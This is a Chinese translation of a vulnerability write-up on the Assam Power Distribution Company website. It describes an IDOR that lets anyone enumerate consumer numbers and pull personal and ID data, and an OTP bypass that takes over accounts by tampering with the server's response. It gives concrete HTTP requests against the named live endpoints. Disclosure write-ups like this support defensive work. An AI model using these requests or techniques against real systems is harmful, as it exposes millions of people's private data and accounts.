未经许可,不得转载。
正文
APDCL ,即印度阿萨姆邦电力分销公司(Assam Power Distribution Company Limited),是印度阿萨姆邦政府控制的公共部门企业,负责电力分配和供应服务,确保电力供应的稳定性和可靠性,以满足居民、工业和商业客户的电力需求。
漏洞1:IDOR
注册网站后,访问登录面板时,网站要求输入手机号码及手机号验证码进行登录。
在交互过程的所有请求包中,存在多个特殊请求包,第一个为:
/website/myBijulee/fetchConsumer接口通过mobile_no参数查询消费者号码(cons_no)。
POST /website/myBijulee/fetchConsumer?mobile_no=<mobile_number> HTTP/1.1
Host: www.apdcl.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.apdcl.org/website/
Origin: https://www.apdcl.org
Content-Length: 0
Te: trailers
Connection: close
也就是说,通过遍历手机号即可获取手机号对应的消费者号码(cons_no)。
第二个特殊请求包为:
/cbs/RestAPI/myBijulee/ConsDetails接口通过cons_no参数获取用户信息。
POST /cbs/RestAPI/myBijulee/ConsDetails?cons_no=<consumer_number> HTTP/1.1
Host: www.apdclrms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.apdcl.org/
Origin: https://www.apdcl.org
Connection: close
其中,信息包括:姓名、电子邮件地址、手机号码、地址、税号(印度的个人识别号码)、选民十分钟、身份证号码。
因此,我们可以通过遍历手机号获取消费者号码,再遍历获取到的消费者号码得到敏感数据;或者直接遍历cons_no参数,因为它是数字字符串。
漏洞2:账户接管
在登录流程中,涉及登录逻辑的请求包有两个。
第一个用于向消费者的手机号码发送验证码:
POST /website/api/generateOtp?mobNo=<mobile_number> HTTP/1.1
Host: www.apdcl.org
Cookie: ARMSSESSIONID=M2Y5MzY5YTItODFiOS00ZmQyLWIzMTAtOTNkMTdhOGNjZjlm; JSESSIONID=5F5BB3B3B8711282CD8BA7D5F2118886.server2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.apdcl.org/website/
Origin: https://www.apdcl.org
Content-Length: 0
Connection: close
第二个请求包用于验证手机号验证码。
POST /website/api/postOtp HTTP/1.1
Host: www.apdcl.org
Cookie: ARMSSESSIONID=M2Y5MzY5YTItODFiOS00ZmQyLWIzMTAtOTNkMTdhOGNjZjlm; JSESSIONID=5F5BB3B3B8711282CD8BA7D5F2118886.server2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.apdcl.org/website/
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: https://www.apdcl.org
Connection: close
mobNo=<mobile_number>&otpNo=000000
- 如果验证码正确,服务器将返回会话cookie并重定向到**/website/ConsumerDashboard**。
- 如果验证码错误,服务器将以302响应并将用户重定向到**/website/?mobileNo=<mobile_number>**
可以看到,Cookie的设定形式为:mobile=*;Domain=www.apdcl.org;Path=/;Secure;
因此鉴权参数为手机号,那么输入任何一人的手机号,再输入任意手机号验证码,之后在拦截的返回包中修改返回包,即可接管其账户。
原文出处:https://infosecwriteups.com/idor-account-takeover-how-i-secured-personal-information-pii-of-5-17m-electricity-consumers-a9db5e4999b9
dor-account-takeover-how-i-secured-personal-information-pii-of-5-17m-electricity-consumers-a9db5e4999b9